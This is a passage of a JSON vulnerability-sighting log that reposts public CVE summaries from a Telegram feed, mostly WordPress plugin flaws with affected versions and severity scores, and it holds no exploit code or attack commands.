\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:04.000000Z"}, {"uuid": "a5260453-5c93-4212-af9d-9bbc082a4f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://t.me/cvedetector/14446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12470 - SakolaWP WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12470 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The School Management System \u2013 SakolaWP plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.8. This is due to the registration function not properly limiting what roles a user can register as. This makes it possible for unauthenticated attackers to register as an administrative user. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:03.000000Z"}, {"uuid": "2a443c14-0491-4c6b-9a52-e0a4de7459e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://t.me/cvedetector/14443", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12022 - WordPress Menu Image Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12022 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Menu Image plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wmi_delete_img_menu' function in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to delete images from menus. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:57.000000Z"}, {"uuid": "f966f00a-e81b-4760-aefc-3bd18542035f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://t.me/cvedetector/14454", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12332 - WordPress WPSchoolPress SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12332 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Student/Parent-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:12.000000Z"}, {"uuid": "5320fbf1-30be-4d6e-af79-f5f34b1c32e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://t.me/cvedetector/14453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12327 - \"WordPress LazyLoad Background Images Unauthenticated Settings Modification\"\", \n  \"Content\": \"CVE ID : CVE-2024-12327 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The LazyLoad Background Images plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the pblzbg_save_settings() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:11.000000Z"}, {"uuid": "f80db626-4590-47a6-8e0d-1e96da1b06fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://t.me/cvedetector/14448", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12453 - \"Uptodown WordPress APK Download Widget Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12453 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Uptodown APK Download Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'utd-widget' shortcode in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:04.000000Z"}, {"uuid": "031371ab-b947-4675-a314-d4fdbfedb648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://t.me/cvedetector/14437", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12540 - WordPress LDD Directory Lite Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12540 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The LDD Directory Lite plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 3.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:46.000000Z"}, {"uuid": "f505545b-8046-4866-8ae3-ac875d5e3a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://t.me/cvedetector/14436", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12538 - WordPress Duplicate Post Plugin Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12538 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Duplicate Post, Page and Any Custom Post plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.5.3 via the 'dpp_duplicate_as_draft' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:45.000000Z"}, {"uuid": "77a9ee78-8367-4a19-9fe0-4ca455b898a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://t.me/cvedetector/14435", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12528 - WordPress Survey & Poll Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12528 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WordPress Survey & Poll \u2013 Quiz, Survey and Poll Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsurveypoll_results' shortcode in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:45.000000Z"}, {"uuid": "29606b64-ed16-4104-bf0b-520852a9ab75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12324", "type": "seen", "source": "https://t.me/cvedetector/14452", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12324 - Unilevel MLM Plan Plugin WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12324 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Unilevel MLM Plan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:10.000000Z"}, {"uuid": "2d0ebaa4-e421-487f-8915-35251891a769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://t.me/cvedetector/14451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12322 - WordPress ThePerfectWedding.nl Widget CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12322 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The ThePerfectWedding.nl Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8. This is due to missing or incorrect nonce validation on the 'update_option' function. This makes it possible for unauthenticated attackers to update the 'tpwKey' option with stored cross-site scripting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:09.000000Z"}, {"uuid": "600ae11a-cca2-46ba-a925-90aca2fd6d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://t.me/cvedetector/14450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12462 - \"YOGO Booking for WordPress Stored XSS Exploit\"\", \n  \"Content\": \"CVE ID : CVE-2024-12462 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The YOGO Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yogo-calendar' shortcode in all versions up to, and including, 1.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:09.000000Z"}, {"uuid": "ff47fcc0-7ba8-410a-a410-5b0561dbc876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12457", "type": "seen", "source": "https://t.me/cvedetector/14449", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12457 - Viber for WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12457 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Chat Support for Viber \u2013 Chat Bubble and Chat Button for Gutenberg, Elementor and Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vchat' shortcode in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:05.000000Z"}, {"uuid": "934128d5-5559-4c6f-91dd-108b69828d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://t.me/cvedetector/16170", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12957 - ASUS Armoury Crate Arbitrary File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12957 \nPublished : Jan. 23, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : A file handling command vulnerability in certain versions of Armoury Crate may result in arbitrary file deletion.  \nRefer to the '01/23/2025 Security Update for Armoury Crate App' section on the ASUS Security Advisory for more information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T11:37:39.000000Z"}, {"uuid": "f25b7586-7314-4054-8ff2-4c40619de859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://t.me/cvedetector/14441", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12402 - WooCommerce Themes Coder \u2013 WordPress Plugin Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12402 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Themes Coder \u2013 Create Android & iOS Apps For Your Woocommerce Site plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.4. This is due to the plugin not properly validating a user's identity prior to updating their password through the update_user_profile() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:52.000000Z"}, {"uuid": "dba94802-d7f5-42a6-abf9-fa5a59d02a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://t.me/cvedetector/14440", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12098 - WordPress ARS Affiliate Page Plugin Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12098 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The ARS Affiliate Page Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'utm_keyword' parameter in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:51.000000Z"}, {"uuid": "2f7e01ee-6f6e-43fc-bbd5-2bfa881f14dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://t.me/cvedetector/14434", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12419 - \"WordPress CF7 WOW Styler Arbitrary Shortcode Execution & XSS Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12419 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The The Design for Contact Form 7 Style WordPress Plugin \u2013 CF7 WOW Styler plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. Version 1.7.0 patched the Reflected XSS issue, however, the arbitrary shortcode execution issue remains. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:44.000000Z"}, {"uuid": "2e555f3f-5ece-4cf3-936e-d80e8e6f49d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://t.me/cvedetector/14433", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12416 - \"WordPress Woomotiv Woocommerce SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12416 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Live Sales Notification for Woocommerce \u2013 Woomotiv plugin for WordPress is vulnerable to SQL Injection via the 'woomotiv_seen_products_.*' cookie in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:43.000000Z"}, {"uuid": "a89f215a-5618-4984-8e9b-c8bd04889469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://t.me/cvedetector/14432", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12592 - Sellsy WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12592 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Sellsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'testSellsy' shortcode in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:40.000000Z"}, {"uuid": "6c45c36e-6ae9-4821-a3e8-46ae5f0ba775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://t.me/cvedetector/14431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12559 - WordPress ClickDesigns API Key ModIFICATION Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12559 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The ClickDesigns plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'clickdesigns_add_api' and the 'clickdesigns_remove_api' functions in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to modify or remove the plugin's API key. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:39.000000Z"}, {"uuid": "5738c3fa-0202-4bbe-ade5-4bdcf41ee812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://t.me/cvedetector/14430", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12557 - \"Transporters.io WordPress Plugin Cross-Site Request Forgery Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12557 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Transporters.io plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.84. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:38.000000Z"}, {"uuid": "de0a7972-d745-4cdb-b860-a166531db405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://t.me/cvedetector/14429", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12590 - WordPress YouTube Gallery Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12590 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Youtube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:37.000000Z"}, {"uuid": "3203dbf9-c3bb-4453-9f3c-48aa33faf921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://t.me/cvedetector/14428", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12541 - Chative Live Chat and Chatbot CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12541 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Chative Live chat and Chatbot plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the add_chative_widget_action() function. This makes it possible for unauthenticated attackers to change the channel ID or organization ID via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This could lead to redirecting the live chat widget to an attacker-controlled channel. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:37.000000Z"}, {"uuid": "49b9a51b-d664-463e-9591-93443cd9dd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://t.me/cvedetector/14358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12970 - TUBITAK BILGEM Pardus OS My Computer OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12970 \nPublished : Jan. 6, 2025, 12:15 p.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in TUBITAK BILGEM Pardus OS My Computer allows OS Command Injection.This issue affects Pardus OS My Computer: before 0.7.2. \nSeverity: 3.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T14:25:26.000000Z"}, {"uuid": "4c672b40-fdaa-4ab2-a3cd-225a7925c3fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://t.me/cvedetector/14338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12311 - Icegram Express WordPress Plugin SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12311 \nPublished : Jan. 6, 2025, 6:15 a.m. | 24\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.44 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T07:43:47.000000Z"}, {"uuid": "d52ab650-8dca-4e4a-8ed9-780cca1ba56a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://t.me/cvedetector/14336", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12302 - Icegram Engage Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12302 \nPublished : Jan. 6, 2025, 6:15 a.m. | 24\u00a0minutes ago \nDescription : The Icegram Engage  WordPress plugin before 3.1.32 does not sanitise and escape some of its Campaign settings, which could allow authors and above to perform Stored Cross-Site Scripting attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T07:43:46.000000Z"}, {"uuid": "0c147c4a-5fc7-40c2-adf3-fa316a9b269b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12221", "type": "seen", "source": 